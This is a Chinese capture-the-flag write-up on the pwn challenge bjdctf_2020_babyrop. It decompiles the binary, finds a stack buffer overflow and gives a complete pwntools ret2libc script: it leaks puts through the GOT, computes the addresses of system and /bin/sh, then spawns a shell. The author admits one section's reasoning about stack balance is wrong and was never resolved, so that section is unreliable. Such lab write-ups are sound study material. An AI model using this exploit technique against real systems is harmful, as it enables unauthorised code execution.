当前位置:网站首页>【CTF】bjdctf_2020_babyrop
【CTF】bjdctf_2020_babyrop
2022-06-23 09:17:00 【delta_hell】
题目分析
1 反编译,寻找漏洞
undefined8 main(EVP_PKEY_CTX *param_1)
{
init(param_1);
vuln();
return 0;
}
从main函数中看,vuln函数大概率就是漏洞所在了。
void vuln(void)
{
undefined local_28 [32];
puts("Pull up your sword and tell me u story!");
read(0,local_28,100);
return;
}
果然,read函数的长度限制超出数组长度,典型的溢出。
int init(EVP_PKEY_CTX *ctx)
{
int iVar1;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
puts("Can u return to libc ?");
iVar1 = puts("Try u best!");
return iVar1;
}
init函数还直接给出了提示,快速浏览了一遍反编译代码,确实是ret2libc的套路。那从上面这几个函数来看,应该就是使用
puts获取内存地址,计算出system和/bin/sh的内存地址,然后再次溢出,至少理论上应该是这样。
2 解题过程
整个解决思路确实就像上面的分析,但是这里面遇到几个问题:
1 题目中有多个call puts,应该使用哪个?
因为需要两次溢出,所以我首选了vuln函数中的call puts,但是这里遇到了栈平衡问题
undefined vuln()
vuln XREF[4]: Entry Point(*), main:004006c0(c),
004007cc, 00400888(*)
0040067d 55 PUSH RBP
0040067e 48 89 e5 MOV RBP,RSP
00400681 48 83 ec 20 SUB RSP,0x20
00400685 bf 80 07 MOV EDI=>s_Pull_up_your_sword_and_tell_me_u_004007 = "Pull up your sword and tell m
40 00
0040068a e8 51 fe CALL puts int puts(char * __s)
ff ff
0040068f 48 8d 45 e0 LEA RAX=>local_28,[RBP + -0x20]
00400693 ba 64 00 MOV EDX,0x64
00 00
00400698 48 89 c6 MOV RSI,RAX
0040069b bf 00 00 MOV EDI,0x0
00 00
004006a0 b8 00 00 MOV EAX,0x0
00 00
004006a5 e8 46 fe CALL read ssize_t read(int __fd, void * __
ff ff
004006aa 90 NOP
004006ab c9 LEAVE
004006ac c3 RET
在00400681处有sub rsp操作,在第一次read执行完之后,在leave的时候会恢复栈平衡,但是如果此时跳转到0040068a后,再次leave就会出现问题,所以最终我选择了使用init函数中的最后一个puts来打印地址。
2 64位的传参
在x64中前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。
因此需要找到pop rdi,ret的gadget
3 64位的system调用的大坑
64位的system调用会判断rsp的值是否%16=0;解决方法是在调用system之前使用ret来帮助解决;
然而对齐问题解决就行了吗?不存在的,还是会出现问题。因为这个涉及到栈平衡的问题,所以最好的解决办法,是不要把栈平衡问题遗留到system调用的时候,应该在哪里出现就在哪里解决。
(以上经验来自本题的各种折腾)
4 本题的栈平衡问题
如前述第第一点中的call puts:
00400675 e8 66 fe CALL puts int puts(char * __s)
ff ff
0040067a 90 NOP
0040067b 5d POP RBP
0040067c c3 RET
pop rbp;以及第二点的pop rdi;都会引起rsp变化,两次pop,就需要两次push来平衡,但是没找到可利用的push,最终找到了
add rsp,8;可以放在pop之前,起到平衡的作用。
– 这一小段对于栈平衡的理解是错的,pop是rsp增加,push是rsp减少,add rsp,8 与pop是一样的效果,实验了很久,也没得出结论。。。
利用脚本
from pwn import *
2 from LibcSearcher import *
3 elf = ELF('bjdctf_2020_babyrop')
4 libc = ELF('libc-2.27.so') # 根据环境不同进行替换
5
6 context(arch = 'amd64', os = 'linux',log_level = 'debug', terminal="/bin/sh")
7
8 #asm()将接受到的字符串转变为汇编码的机器代码,而shellcraft可以生成asm下的shellcode
9 #shellcode=asm(shellcraft.amd64.linux.sh())
10 #print(len(shellcode))
11 #print(shellcode)
12
13 sh = process('./bjdctf_2020_babyrop')
14 sh.recvuntil('story!\n')
15 pad = 'A' * 40
16 puts_got_addr = 0x00601018
17 puts_plt_addr = 0x004004e0
18 call_puts_addr = 0x00400675
19 vulner_addr = 0x004006c0 # 返回地址
20 pop_rdi_ret = 0x00400733
21
22 payload = pad.encode()
# 0x004004c5 add rsp,8; ret
# 0x004006c0 call vuln
# 第一个0x004006c0可以为其它值,对应的是call puts后的pop rbp
23 payload += p64(0x004004c5) + p64(0x004004c5) + p64(pop_rdi_ret) + p64(puts_got_addr) + p64(call_puts_addr) + p64(0x004006c0) + p64(0x004006c0)
24
25 sh.sendline(payload)
26 content = sh.recv()[:6]
27 mem_addr = int.from_bytes(content, 'little')
28 print("%#x -> %s" % (puts_got_addr, hex(mem_addr)))
29
30 # 优先尝试lib-database查找
31 # obj = LibcSearcher("puts", mem_addr)
32 # obj.dump('system')
33
34 libc_puts_offset = libc.sym['puts']
35 print(hex(libc_puts_offset))
36
37 libc_system_offset = libc.sym['system']
38 print(hex(libc_system_offset))
39
40 libc_database = mem_addr - libc_puts_offset
41
42 mem_system_addr = libc_database + libc_system_offset
43 print(hex(mem_system_addr))
44
45 mem_binsh = libc_database + next(libc.search(b'/bin/sh'))
46 print(hex(mem_binsh))
47
48 ret_addr = 0x004004c9
49 pad = 'A' * 40
50 payload1 = pad.encode() + p64(pop_rdi_ret) + p64(mem_binsh) + p64(ret_addr) + p64(mem_system_addr)
51
52 sh.sendline(payload1)
53
54 with open('payload.txt', 'wb') as f:
55 f.write(payload)
f.write(b'\n\n\n\n') # read字符限制,用资格字符填充第一个payload,否则第二个payload会被吞掉4个字符
56 f.write(payload1)
57
58 sh.interactive()
总结
栈的理解依旧没有进展,一叹。。。
边栏推荐
- Chain representation and implementation of linklist ---- linear structure
- How to use matrix analysis to build your thinking scaffold in flowus, notation and other note taking software
- Redis学习笔记—持久化机制之RDB
- 使用base64,展示图片
- map的下标操作符
- [cloud native | kubernetes] kubernetes principle and installation (II)
- Vue3表单页面利用keep-alive缓存数据的一种思路
- 嵌入式系统概述(学习笔记)
- Redis learning notes - redis cli explanation
- Redis学习笔记—数据类型:有序集合(zset)
猜你喜欢

Set the CPU to have 16 address lines and 8 data lines, and use mreq as the access control line number Connection between memory and CPU

Sequential representation and implementation of sequencelist -- linear structure
Redis learning notes - slow query analysis
Redis学习笔记—Pipeline

Cesium加载正射影像方案
Redis学习笔记—慢查询分析
Redis学习笔记—数据类型:哈希(hash)

Jog运动模式

UEFI 学习3.6 - ARM QEMU上的ACPI表
![[网鼎杯 2020 青龙组]AreUSerialz](/img/38/b67f7a42abec1cdaad02f2b7df6546.png)
[网鼎杯 2020 青龙组]AreUSerialz
随机推荐
Redis learning notes - AOF of persistence mechanism
三层架构与SSM之间的对应关系
微信小程序:点击按钮频繁切换,重叠自定义markers,但是值不改变
Community article | mosn building subset optimization ideas sharing
36氪首发|云原生数据库公司「拓数派」完成新一轮战略融资,估值已达准独角兽级别
Redis learning notes - redis and Lua
js 用**遮罩身份证以及手机号的重要数据
GPIO初识
[event registration] sofastack × CSDN jointly held the open source series meetup, which was launched on June 24
披萨订购设计----简单工厂模式
Redis learning notes - Database Management
A 32KB cache with direct mapping Memory exercises after class
Flink error --caused by: org apache. calcite. sql. parser. SqlParseException: Encountered “time“
Redis学习笔记—主从复制
位绑定
Redis学习笔记—数据库管理
Chain representation and implementation of linklist ---- linear structure
MySQL fault case | error 1071 (42000): specified key was too long
ThinkPHP 2.x/3.0 漏洞复现
Structure binary tree from inorder and postorder traversal for leetcode topic analysis